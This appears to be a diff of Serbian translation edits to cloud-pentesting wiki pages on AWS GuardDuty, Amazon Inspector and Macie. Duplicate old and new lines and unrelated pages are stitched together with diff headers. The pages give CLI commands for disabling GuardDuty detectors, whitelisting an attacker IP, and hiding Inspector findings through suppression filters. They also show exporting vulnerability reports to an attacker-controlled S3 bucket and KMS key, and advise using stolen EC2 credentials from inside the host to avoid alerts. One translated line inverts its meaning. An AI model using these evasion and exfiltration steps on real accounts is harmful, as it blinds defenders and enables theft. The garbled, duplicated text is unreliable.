Nalog koji se odredi kao delegirani administrator postaje nalog administratora GuardDuty, automatski ima omogućenu GuardDuty u određenoj AWS regiji, i takođe ima **dozvolu da omogući i upravlja GuardDuty za sve naloge u organizaciji unutar te regije**. Ostali nalozi u organizaciji mogu se videti i dodati kao članovi GuardDuty povezani sa ovim delegiranim administratorskim nalogom.
## Enumeracija
```bash
@@ -122,7 +122,7 @@ Sa ovom informacijom, rekreirajte što je moguće više istog scenarija za kori
#### `guardduty:UpdateDetector`
Sa ovom dozvolom mogli biste da onemogućite GuardDuty kako biste izbegli aktiviranje alarma.
Sa ovom dozvolom mogli biste da onemogućite GuardDuty kako biste izbegli aktiviranje upozorenja.
```bash
aws guardduty update-detector --detector-id <detector-id> --no-enable
aws guardduty update-detector --detector-id <detector-id> --data-sources S3Logs={Enable=false}
@@ -135,7 +135,7 @@ aws guardduty create-filter --detector-id <detector-id> --name <filter-name> --
```
#### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`)
Napadači sa prethodnim privilegijama mogli bi da modifikuju GuardDuty-ovu [**Listu pouzdanih IP adresa**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) dodajući svoju IP adresu na nju i izbegli generisanje upozorenja.
Napadači sa prethodnim privilegijama mogli bi da modifikuju GuardDuty-ovu [**Listu pouzdanih IP adresa**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) dodajući svoju IP adresu i izbegavajući generisanje upozorenja.
```bash
aws guardduty update-ip-set --detector-id <detector-id> --activate --ip-set-id <ip-set-id> --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv
```
@@ -146,11 +146,11 @@ Napadači bi mogli ukloniti odredište kako bi sprečili upozorenje:
aws guardduty delete-publishing-destination --detector-id <detector-id> --destination-id <dest-id>
```
> [!CAUTION]
> Brisanje ovog odredišta za objavljivanje **neće uticati na generisanje ili vidljivost nalaza unutar GuardDuty konzole**. GuardDuty će nastaviti da analizira događaje u vašem AWS okruženju, identifikuje sumnjivo ili neočekivano ponašanje i generiše nalaze.
> Brisanje ove destinacije za objavljivanje **neće uticati na generisanje ili vidljivost nalaza unutar GuardDuty konzole**. GuardDuty će nastaviti da analizira događaje u vašem AWS okruženju, identifikuje sumnjivo ili neočekivano ponašanje i generiše nalaze.
### Primeri zaobilaženja specifičnih nalaza
Imajte na umu da postoji desetine GuardDuty nalaza, međutim, **kao Red Teamer, nećete biti pogođeni svim njima**, a što je bolje, imate **potpunu dokumentaciju o svakom od njih** na [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) pa pogledajte pre nego što preduzmete bilo kakvu akciju da ne biste bili uhvaćeni.
Imajte na umu da postoji desetine GuardDuty nalaza, međutim, **kao Red Teamer, nećete biti pogođeni svim njima**, a što je bolje, imate **potpunu dokumentaciju o svakom od njih** u [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) pa pogledajte pre nego što preduzmete bilo kakvu akciju da ne biste bili uhvaćeni.
Evo nekoliko primera specifičnih zaobilaženja GuardDuty nalaza:
@@ -164,7 +164,7 @@ Da biste to sprečili, možete pretražiti skriptu `session.py` u `botocore` pak
#### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
Ekstrakcija EC2 kredencijala iz metadata servisa i **korišćenje njih van** AWS okruženja aktivira [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) upozorenje. Nasuprot tome, korišćenje ovih kredencijala sa vaše EC2 instance aktivira [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) upozorenje. Ipak, **korišćenje kredencijala na drugoj kompromitovanoj EC2 instanci unutar istog naloga prolazi neprimećeno**, ne podižući nikakvo upozorenje.
Ekstrakcija EC2 kredencijala iz metadata servisa i **korišćenje njih van** AWS okruženja aktivira [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) upozorenje. S druge strane, korišćenje ovih kredencijala sa vaše EC2 instance aktivira [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) upozorenje. Ipak, **korišćenje kredencijala na drugoj kompromitovanoj EC2 instanci unutar istog naloga prolazi neprimećeno**, ne izazivajući nikakvo upozorenje.
> [!TIP]
> Stoga, **koristite exfiltrirane kredencijale iznutra mašine** gde ste ih pronašli da ne biste aktivirali ovo upozorenje.
@@ -18,19 +18,19 @@ Otkrića u Amazon Inspector su detaljni izveštaji o ranjivostima i izloženosti
- **Zatvoreno**: Otkriće je otklonjeno.
- **Potisnuto**: Otkriće je označeno ovim stanjem zbog jednog ili više **pravila potiskivanja**.
Otkrića su takođe kategorizovana u sledeće tri vrste:
Otkrića se takođe kategorizuju u sledeće tri vrste:
- **Paket**: Ova otkrića se odnose na ranjivosti u softverskim paketima instaliranim na vašim resursima. Primeri uključuju zastarele biblioteke ili zavisnosti sa poznatim bezbednosnim problemima.
- **Kod**: Ova kategorija uključuje ranjivosti pronađene u kodu aplikacija koje rade na vašim AWS resursima. Uobičajeni problemi su greške u kodiranju ili nesigurne prakse koje mogu dovesti do bezbednosnih proboja.
- **Kod**: Ova kategorija uključuje ranjivosti pronađene u kodu aplikacija koje rade na vašim AWS resursima. Uobičajeni problemi su greške u kodiranju ili nesigurne prakse koje mogu dovesti do bezbednosnih propusta.
- **Mreža**: Mrežna otkrića identifikuju potencijalne izloženosti u mrežnim konfiguracijama koje bi napadači mogli iskoristiti. Ovo uključuje otvorene portove, nesigurne mrežne protokole i pogrešno konfigurisane bezbednosne grupe.
#### Filteri i pravila potiskivanja
Filteri i pravila potiskivanja u Amazon Inspector pomažu u upravljanju i prioritetizaciji otkrića. Filteri vam omogućavaju da precizirate otkrića na osnovu specifičnih kriterijuma, kao što su ozbiljnost ili tip resursa. Pravila potiskivanja omogućavaju vam da potisnete određena otkrića koja se smatraju niskim rizikom, koja su već ublažena, ili iz bilo kog drugog važnog razloga, sprečavajući ih da preopterete vaše bezbednosne izveštaje i omogućavajući vam da se fokusirate na kritičnije probleme.
Filteri i pravila potiskivanja u Amazon Inspector pomažu u upravljanju i prioritetizaciji otkrića. Filteri vam omogućavaju da precizirate otkrića na osnovu specifičnih kriterijuma, kao što su ozbiljnost ili tip resursa. Pravila potiskivanja omogućavaju vam da potisnete određena otkrića koja se smatraju niskim rizikom, koja su već mitigirana, ili iz bilo kog drugog važnog razloga, sprečavajući ih da preopterete vaše bezbednosne izveštaje i omogućavajući vam da se fokusirate na kritičnije probleme.
#### Softverski račun o materijalima (SBOM)
Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježdena lista inventara koja detaljno opisuje sve komponente unutar softverskog paketa, uključujući biblioteke i zavisnosti. SBOM-ovi pomažu u pružanju transparentnosti u lancu snabdevanja softverom, omogućavajući bolje upravljanje ranjivostima i usklađenost. Oni su ključni za identifikaciju i ublažavanje rizika povezanih sa open source i komponentama trećih strana.
Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježdena lista inventara koja detaljno opisuje sve komponente unutar softverskog paketa, uključujući biblioteke i zavisnosti. SBOM-ovi pomažu u pružanju transparentnosti u lancu snabdevanja softverom, omogućavajući bolje upravljanje ranjivostima i usklađenost. Oni su ključni za identifikaciju i mitigaciju rizika povezanih sa open source i komponentama trećih strana.
### Ključne karakteristike
@@ -38,19 +38,19 @@ Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježde
Amazon Inspector nudi mogućnost izvoza otkrića u Amazon S3 Buckets, Amazon EventBridge i AWS Security Hub, što vam omogućava da generišete detaljne izveštaje o identifikovanim ranjivostima i izloženostima za dalju analizu ili deljenje na određeni datum i vreme. Ova funkcija podržava različite formate izlaza kao što su CSV i JSON, olakšavajući integraciju sa drugim alatima i sistemima. Funkcionalnost izvoza omogućava prilagođavanje podataka uključenih u izveštaje, omogućavajući vam da filtrirate otkrića na osnovu specifičnih kriterijuma kao što su ozbiljnost, tip resursa ili vremenski opseg, uključujući po defaultu sva vaša otkrića u trenutnoj AWS regiji sa aktivnim statusom.
Prilikom izvoza otkrića, potrebna je ključna usluga za upravljanje ključevima (KMS) za enkripciju podataka tokom izvoza. KMS ključevi osiguravaju da su izvezena otkrića zaštićena od neovlašćenog pristupa, pružajući dodatni sloj bezbednosti za osetljive informacije o ranjivostima.
Kada izvozite otkrića, potrebna je ključna usluga za upravljanje ključevima (KMS) za enkripciju podataka tokom izvoza. KMS ključevi osiguravaju da su izvezena otkrića zaštićena od neovlašćenog pristupa, pružajući dodatni sloj bezbednosti za osetljive informacije o ranjivostima.
#### Skeniranje Amazon EC2 instanci
Amazon Inspector nudi robusne mogućnosti skeniranja za Amazon EC2 instance kako bi otkrio ranjivosti i bezbednosne probleme. Inspector upoređuje izvučene metapodatke iz EC2 instance sa pravilima iz bezbednosnih saveta kako bi proizveo ranjivosti paketa i probleme dostupnosti mreže. Ova skeniranja se mogu izvesti putem **agenta** ili **bez agenta**, u zavisnosti od konfiguracije **načina skeniranja** vašeg naloga.
Amazon Inspector nudi robusne mogućnosti skeniranja za Amazon EC2 instance kako bi otkrio ranjivosti i bezbednosne probleme. Inspector upoređuje izvučene metapodatke iz EC2 instance sa pravilima iz bezbednosnih saveta kako bi proizveo ranjivosti paketa i probleme sa dostupnošću mreže. Ova skeniranja se mogu izvesti putem **agent-based** ili **agentless** metoda, u zavisnosti od konfiguracije **scan mode** postavki vašeg naloga.
- **Na bazi agenta**: Koristi AWS Systems Manager (SSM) agenta za izvođenje dubokih skeniranja. Ova metoda omogućava sveobuhvatno prikupljanje i analizu podataka direktno sa instance.
- **Bez agenta**: Pruža laganu alternativu koja ne zahteva instalaciju agenta na instanci, kreirajući EBS snimak svake jedinice EC2 instance, tražeći ranjivosti, a zatim ga brišući; koristeći postojeću AWS infrastrukturu za skeniranje.
- **Agent-Based**: Koristi AWS Systems Manager (SSM) agenta za izvođenje dubokih skeniranja. Ova metoda omogućava sveobuhvatno prikupljanje i analizu podataka direktno sa instance.
- **Agentless**: Pruža laganu alternativu koja ne zahteva instalaciju agenta na instanci, kreirajući EBS snimak svake zapremine EC2 instance, tražeći ranjivosti, a zatim ga brišući; koristeći postojeću AWS infrastrukturu za skeniranje.
Način skeniranja određuje koja metoda će se koristiti za izvođenje EC2 skeniranja:
- **Na bazi agenta**: Uključuje instalaciju SSM agenta na EC2 instancama za duboku inspekciju.
- **Hibridno skeniranje**: Kombinuje metode na bazi agenta i bez agenta kako bi maksimizirao pokrivenost i minimizirao uticaj na performanse. Na onim EC2 instancama gde je instaliran SSM agent, Inspector će izvesti skeniranje na bazi agenta, a za one gde nema SSM agenta, skeniranje će biti bez agenta.
- **Agent-Based**: Uključuje instalaciju SSM agenta na EC2 instancama za duboku inspekciju.
- **Hibridno skeniranje**: Kombinuje agent-based i agentless metode kako bi maksimizirao pokrivenost i minimizirao uticaj na performanse. Na onim EC2 instancama gde je instaliran SSM agent, Inspector će izvesti agent-based skeniranje, a za one gde nema SSM agenta, skeniranje će biti agentless.
Još jedna važna karakteristika je **duboka inspekcija** za EC2 Linux instance. Ova funkcija nudi temeljnu analizu softvera i konfiguracije EC2 Linux instanci, pružajući detaljne procene ranjivosti, uključujući ranjivosti operativnog sistema, ranjivosti aplikacija i pogrešne konfiguracije, osiguravajući sveobuhvatnu bezbednosnu evaluaciju. Ovo se postiže inspekcijom **prilagođenih putanja** i svih njihovih poddirektorijuma. Po defaultu, Amazon Inspector će skenirati sledeće, ali svaki član naloga može definisati do 5 dodatnih prilagođenih putanja, a svaki delegirani administrator do 10:
@@ -63,19 +63,19 @@ Još jedna važna karakteristika je **duboka inspekcija** za EC2 Linux instance.
Amazon Inspector pruža robusne mogućnosti skeniranja za slike kontejnera Amazon Elastic Container Registry (ECR), osiguravajući da se ranjivosti paketa otkriju i efikasno upravljaju.
- **Osnovno skeniranje**: Ovo je brzo i lagano skeniranje koje identifikuje poznate ranjivosti OS paketa u slikama kontejnera koristeći standardni set pravila iz open-source Clair projekta. Sa ovom konfiguracijom skeniranja, vaši repozitorijumi će biti skenirani prilikom slanja, ili izvođenjem ručnih skeniranja.
- **Poboljšano skeniranje**: Ova opcija dodaje funkciju kontinuiranog skeniranja pored skeniranja prilikom slanja. Poboljšano skeniranje dublje analizira slojeve svake slike kontejnera kako bi identifikovalo ranjivosti u OS paketima i paketima programskih jezika sa većom tačnošću. Analizira i osnovnu sliku i sve dodatne slojeve, pružajući sveobuhvatan pregled potencijalnih bezbednosnih problema.
- **Osnovno skeniranje**: Ovo je brzo i lagano skeniranje koje identifikuje poznate ranjivosti OS paketa u slikama kontejnera koristeći standardni set pravila iz open-source Clair projekta. Sa ovom konfiguracijom skeniranja, vaši repozitorijumi će biti skenirani prilikom push-a ili izvođenjem ručnih skeniranja.
- **Poboljšano skeniranje**: Ova opcija dodaje funkciju kontinuiranog skeniranja pored skeniranja prilikom push-a. Poboljšano skeniranje dublje analizira slojeve svake slike kontejnera kako bi identifikovalo ranjivosti u OS paketima i paketima programskih jezika sa većom tačnošću. Analizira i osnovnu sliku i sve dodatne slojeve, pružajući sveobuhvatan pregled potencijalnih bezbednosnih problema.
#### Skeniranje AWS Lambda funkcija
Amazon Inspector uključuje sveobuhvatne mogućnosti skeniranja za AWS Lambda funkcije i njihove slojeve, osiguravajući bezbednost i integritet serverless aplikacija. Inspector nudi dve vrste skeniranja za Lambda funkcije:
- **Standardno skeniranje Lambda**: Ova podrazumevana funkcija identifikuje softverske ranjivosti u zavisnostima paketa aplikacije dodatim vašoj Lambda funkciji i slojevima. Na primer, ako vaša funkcija koristi verziju biblioteke kao što je python-jwt sa poznatom ranjivošću, generiše otkriće.
- **Skeniranje koda Lambda**: Analizira prilagođeni kod aplikacije za bezbednosne probleme, otkrivajući ranjivosti kao što su greške u injekciji, curenje podataka, slaba kriptografija i nedostatak enkripcije. Zapisuje delove koda koji ističu otkrivene ranjivosti, kao što su hardkodovane akreditive. Otkrića uključuju detaljne preporuke za otklanjanje i delove koda za ispravljanje problema.
- **Skeniranje koda Lambda**: Analizira prilagođeni kod aplikacije za bezbednosne probleme, otkrivajući ranjivosti poput grešaka u injekciji, curenja podataka, slabe kriptografije i nedostatka enkripcije. Zapisuje delove koda koji ističu otkrivene ranjivosti, kao što su hardkodovane akreditive. Otkrića uključuju detaljne preporuke za otklanjanje i delove koda za ispravljanje problema.
#### **Skeniranja Centra za internet bezbednost (CIS)**
#### **CIS skeniranja**
Amazon Inspector uključuje CIS skeniranja kako bi uporedio operativne sisteme Amazon EC2 instanci sa preporukama najboljih praksi iz Centra za internet bezbednost (CIS). Ova skeniranja osiguravaju da konfiguracije odgovaraju industrijskim standardima bezbednosti.
Amazon Inspector uključuje CIS skeniranja za benchmark operativnih sistema Amazon EC2 instanci prema preporukama najboljih praksi iz Centra za internet bezbednost (CIS). Ova skeniranja osiguravaju da konfiguracije budu u skladu sa industrijskim standardima bezbednosti.
- **Konfiguracija**: CIS skeniranja procenjuju da li sistemske konfiguracije ispunjavaju specifične preporuke CIS Benchmark-a, pri čemu je svaka provera povezana sa CIS ID-om provere i naslovom.
- **Izvršenje**: Skeniranja se izvode ili zakazuju na osnovu oznaka instanci i definisanih rasporeda.
@@ -182,23 +182,25 @@ aws inspector list-exclusions --assessment-run-arn <arn>
## Rule packages
aws inspector list-rules-packages
```
### Post Exploatacija
### Post Eksploatacija
> [!TIP]
> Iz perspektive napadača, ova usluga može pomoći napadaču da pronađe ranjivosti i mrežne izloženosti koje bi mu mogle pomoći da kompromituje druge instance/kontejnere.
>
> Međutim, napadač bi takođe mogao biti zainteresovan za ometanje ove usluge kako žrtva ne bi mogla da vidi ranjivosti (sve ili specifične).
> Međutim, napadač bi takođe mogao biti zainteresovan za ometanje ove usluge kako bi žrtva mogla da vidi ranjivosti (sve ili specifične).
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
Napadač bi mogao generisati detaljne izveštaje o ranjivostima ili softverskom računu materijala (SBOM) i eksfiltrirati ih iz vašeg AWS okruženja. Ove informacije bi mogle biti iskorišćene za identifikaciju specifičnih slabosti, zastarelog softvera ili nesigurnih zavisnosti, omogućavajući ciljana napada.
Napadač bi mogao generisati detaljne izveštaje o ranjivostima ili softverskom računu materijala (SBOM) i eksfiltrirati ih iz vašeg AWS okruženja. Ove informacije bi mogle biti iskorišćene za identifikaciju specifičnih slabosti, zastarelog softvera ili nesigurnih zavisnosti, omogućavajući ciljanje napada.
```bash
# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
```
1. **Kreirajte Amazon S3 Bucket** i prikačite politiku na njega kako bi bio dostupan iz žrtvinog Amazon Inspectora:
Sledeći primer pokazuje kako izvesti sve aktivne nalaze iz Amazon Inspector-a u Amazon S3 Bucket koji kontroliše napadač, koristeći ključ Amazon KMS koji takođe kontroliše napadač:
1. **Kreirajte Amazon S3 Bucket** i prikačite politiku kako bi bio dostupan iz žrtvinog Amazon Inspector-a:
```json
{
"Version": "2012-10-17",
@@ -223,7 +225,7 @@ aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s
]
}
```
2. **Kreirajte Amazon KMS ključ** i prikačite politiku na njega kako bi bio upotrebljiv od strane žrtvinog Amazon Inspectora:
2. **Kreirajte Amazon KMS ključ** i prikačite politiku na njega kako bi bio upotrebljiv od strane žrtvinog Amazon Inspector-a:
```json
{
"Version": "2012-10-17",
@@ -259,22 +261,22 @@ aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s
```bash
aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
```
- **Potencijalni Uticaj**: Generisanje i eksfiltracija detaljnih izveštaja o ranjivostima i softveru, sticanje uvida u specifične ranjivosti i bezbednosne slabosti.
- **Potencijalni uticaj**: Generisanje i eksfiltracija detaljnih izveštaja o ranjivostima i softveru, sticanje uvida u specifične ranjivosti i bezbednosne slabosti.
#### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
Napadač bi mogao da otkaže generisanje navedenog izveštaja o nalazima ili SBOM izveštaja, sprečavajući bezbednosne timove da dobiju pravovremene informacije o ranjivostima i softverskom računu materijala (SBOM), odlažući otkrivanje i otklanjanje bezbednosnih problema.
Napadač bi mogao da otkaže generisanje određenog izveštaja o nalazima ili SBOM izveštaja, sprečavajući bezbednosne timove da dobiju pravovremene informacije o ranjivostima i softverskom računu materijala (SBOM), odlažući otkrivanje i otklanjanje bezbednosnih problema.
```bash
# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
```
- **Potencijalni Uticaj**: Poremećaj u praćenju bezbednosti i sprečavanje pravovremenog otkrivanja i otklanjanja bezbednosnih problema.
- **Potencijalni Uticaj**: Poremećaj u bezbednosnom nadzoru i sprečavanje pravovremenog otkrivanja i otklanjanja bezbednosnih problema.
#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
Napadač sa ovim dozvolama mogao bi da manipuliše pravilima filtriranja koja određuju koje ranjivosti i bezbednosni problemi se prijavljuju ili potiskuju (ako je **akcija** postavljena na SUPPRESS, biće kreirano pravilo za potiskivanje). Ovo bi moglo sakriti kritične ranjivosti od bezbednosnih administratora, olakšavajući iskorišćavanje ovih slabosti bez otkrivanja. Menjanjem ili uklanjanjem važnih filtera, napadač bi takođe mogao da stvori šum preplavljujući sistem nevažnim nalazima, ometajući efikasno praćenje i odgovor na bezbednosne pretnje.
Napadač sa ovim dozvolama mogao bi da manipuliše pravilima filtriranja koja određuju koje ranjivosti i bezbednosni problemi se prijavljuju ili potiskuju (ako je **akcija** postavljena na SUPPRESS, biće kreirano pravilo za potiskivanje). Ovo bi moglo sakriti kritične ranjivosti od bezbednosnih administratora, olakšavajući iskorišćavanje ovih slabosti bez otkrivanja. Menjanjem ili uklanjanjem važnih filtera, napadač bi takođe mogao da stvori šum preplavljujući sistem nevažnim nalazima, ometajući efikasan bezbednosni nadzor i odgovor.
```bash
# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
@@ -283,19 +285,19 @@ aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [
# Delete
aws inspector2 delete-filter --arn <value>
```
- **Potencijalni Uticaj**: Sakrivanje ili suzbijanje kritičnih ranjivosti, ili preplavljivanje sistema nevažnim nalazima.
- **Potencijalni Uticaj**: Sakrivanje ili potiskivanje kritičnih ranjivosti, ili preplavljivanje sistema nevažnim nalazima.
#### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`)
Napadač bi mogao značajno da ometa strukturu upravljanja bezbednošću.
- Onemogućavanjem delegiranog administratorskog naloga, napadač bi mogao sprečiti bezbednosni tim da pristupi i upravlja podešavanjima i izveštajima Amazon Inspectora.
- Omogućavanje neovlašćenog administratorskog naloga omogućilo bi napadaču da kontroliše bezbednosne konfiguracije, potencijalno onemogućavajući skeniranja ili menjajući podešavanja kako bi sakrio zlonamerne aktivnosti.
- Omogućavanje neovlašćenog administratorskog naloga bi omogućilo napadaču da kontroliše bezbednosne konfiguracije, potencijalno onemogućavajući skeniranja ili menjajući podešavanja kako bi sakrio zlonamerne aktivnosti.
> [!WARNING]
> Neovlašćeni nalog mora biti u istoj Organizaciji kao žrtva da bi postao delegirani administrator.
>
> Da bi neovlašćeni nalog postao delegirani administrator, takođe je potrebno da nakon što je legitimni delegirani administrator onemogućen, i pre nego što se neovlašćeni nalog omogući kao delegirani administrator, legitimni administrator mora biti deregistrovan kao delegirani administrator iz organizacije. Ovo se može uraditi sledećom komandom (**`organizations:DeregisterDelegatedAdministrator`** dozvola potrebna): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
> Da bi neovlašćeni nalog postao delegirani administrator, takođe je potrebno da nakon što je legitimni delegirani administrator onemogućen, i pre nego što neovlašćeni nalog bude omogućen kao delegirani administrator, legitimni administrator mora biti deregistrovan kao delegirani administrator iz organizacije. Ovo se može uraditi sledećom komandom (**`organizations:DeregisterDelegatedAdministrator`** dozvola potrebna): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
```bash
# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
@@ -306,7 +308,7 @@ aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <valu
#### `inspector2:AssociateMember`, `inspector2:DisassociateMember`
Napadač bi mogao da manipuliše asocijacijom članova unutar Amazon Inspector organizacije. Povezivanjem neovlašćenih naloga ili odspajanjem legitimnih, napadač bi mogao da kontroliše koji nalozi su uključeni u bezbednosne skenove i izveštavanje. To bi moglo dovesti do isključenja kritičnih naloga iz bezbednosnog nadzora, omogućavajući napadaču da iskoristi ranjivosti u tim nalozima bez otkrivanja.
Napadač bi mogao da manipuliše asocijacijom članovskih naloga unutar Amazon Inspector organizacije. Povezivanjem neovlašćenih naloga ili odspajanjem legitimnih, napadač bi mogao da kontroliše koji nalozi su uključeni u bezbednosne skenove i izveštavanje. To bi moglo dovesti do isključenja kritičnih naloga iz bezbednosnog nadzora, omogućavajući napadaču da iskoristi ranjivosti u tim nalozima bez otkrivanja.
> [!WARNING]
> Ova akcija zahteva da je izvrši delegirani administrator.
@@ -320,7 +322,7 @@ aws inspector2 disassociate-member --account-id <value>
#### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)
Napadač sa dozvolom `inspector2:Disable` mogao bi da onemogući bezbednosna skeniranja na specifičnim tipovima resursa (EC2, ECR, Lambda, Lambda kod) na navedenim nalozima, ostavljajući delove AWS okruženja neproverene i ranjive na napade. Pored toga, zahvaljujući dozvolama **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, napadač bi mogao da ponovo omogući skeniranja selektivno kako bi izbegao otkrivanje sumnjivih konfiguracija.
Napadač sa `inspector2:Disable` dozvolom mogao bi da onemogući bezbednosna skeniranja na specifičnim tipovima resursa (EC2, ECR, Lambda, Lambda kod) na navedenim nalozima, ostavljajući delove AWS okruženja neproverene i ranjive na napade. Pored toga, zahvaljujući **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** dozvolama, napadač bi mogao ponovo da omogući skeniranja selektivno kako bi izbegao otkrivanje sumnjivih konfiguracija.
> [!WARNING]
> Ova akcija zahteva da je izvrši delegirani administrator.
@@ -330,7 +332,7 @@ aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBD
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
```
- **Potencijalni Uticaj**: Kreiranje slepih tačaka u bezbednosnom nadzoru.
- **Potencijalni uticaj**: Kreiranje slepih tačaka u bezbednosnom nadzoru.
#### `inspector2:UpdateOrganizationConfiguration`
@@ -345,7 +347,7 @@ aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,e
#### `inspector2:TagResource`, `inspector2:UntagResource`
Napadač bi mogao da manipuliše oznakama na AWS Inspector resursima, koje su ključne za organizovanje, praćenje i automatizaciju bezbednosnih procena. Izmenom ili uklanjanjem oznaka, napadač bi potencijalno mogao da sakrije ranjivosti od bezbednosnih skeniranja, ometa izveštavanje o usklađenosti i ometa procese automatizovane ispravke, što dovodi do neproverenih bezbednosnih problema i kompromitovane integriteta sistema.
Napadač bi mogao da manipuliše oznakama na AWS Inspector resursima, koje su ključne za organizovanje, praćenje i automatizaciju bezbednosnih procena. Izmenom ili uklanjanjem oznaka, napadač bi potencijalno mogao da sakrije ranjivosti od bezbednosnih skeniranja, ometa izveštavanje o usklađenosti i ometa procese automatizovane ispravke, što dovodi do nekontrolisanih bezbednosnih problema i kompromitovane integriteta sistema.
```bash
aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
@@ -6,19 +6,19 @@
## Macie
Amazon Macie se izdvaja kao usluga koja je dizajnirana da **automatski otkriva, klasifikuje i identifikuje podatke** unutar AWS naloga. Koristi **mašinsko učenje** za kontinuirano praćenje i analizu podataka, fokusirajući se prvenstveno na otkrivanje i upozoravanje na neobične ili sumnjive aktivnosti ispitivanjem **cloud trail event** podataka i obrazaca ponašanja korisnika.
Amazon Macie se izdvaja kao usluga dizajnirana za **automatsko otkrivanje, klasifikaciju i identifikaciju podataka** unutar AWS naloga. Koristi **mašinsko učenje** za kontinuirano praćenje i analizu podataka, prvenstveno se fokusirajući na otkrivanje i upozoravanje na neobične ili sumnjive aktivnosti ispitivanjem **cloud trail event** podataka i obrazaca ponašanja korisnika.
Ključne karakteristike Amazon Macie:
1. **Aktivna revizija podataka**: Koristi mašinsko učenje za aktivnu reviziju podataka dok se različite radnje dešavaju unutar AWS naloga.
2. **Otkrivanje anomalija**: Identifikuje nepravilne aktivnosti ili obrasce pristupa, generišući upozorenja kako bi se smanjili potencijalni rizici od izlaganja podataka.
3. **Kontinuirano praćenje**: Automatski prati i otkriva nove podatke u Amazon S3, koristeći mašinsko učenje i veštačku inteligenciju kako bi se prilagodio obrascima pristupa podacima tokom vremena.
4. **Klasifikacija podataka uz NLP**: Koristi obradu prirodnog jezika (NLP) za klasifikaciju i tumačenje različitih tipova podataka, dodeljujući rizik ocene kako bi se prioritizovali nalazi.
2. **Otkrivanje anomalija**: Identifikuje nepravilne aktivnosti ili obrasce pristupa, generišući upozorenja kako bi umanjila potencijalne rizike od izlaganja podataka.
3. **Kontinuirano praćenje**: Automatski prati i otkriva nove podatke u Amazon S3, koristeći mašinsko učenje i veštačku inteligenciju kako bi se prilagodilo obrascima pristupa podacima tokom vremena.
4. **Klasifikacija podataka uz NLP**: Koristi obradu prirodnog jezika (NLP) za klasifikaciju i tumačenje različitih tipova podataka, dodeljujući rizik ocene kako bi prioritizovao nalaze.
5. **Praćenje bezbednosti**: Identifikuje podatke o bezbednosti, uključujući API ključeve, tajne ključeve i lične informacije, pomažući u sprečavanju curenja podataka.
Amazon Macie je **regionalna usluga** i zahteva 'AWSMacieServiceCustomerSetupRole' IAM ulogu i omogućeni AWS CloudTrail za funkcionalnost.
### Alert System
### Sistem upozorenja
Macie kategorizuje upozorenja u unapred definisane kategorije kao što su:
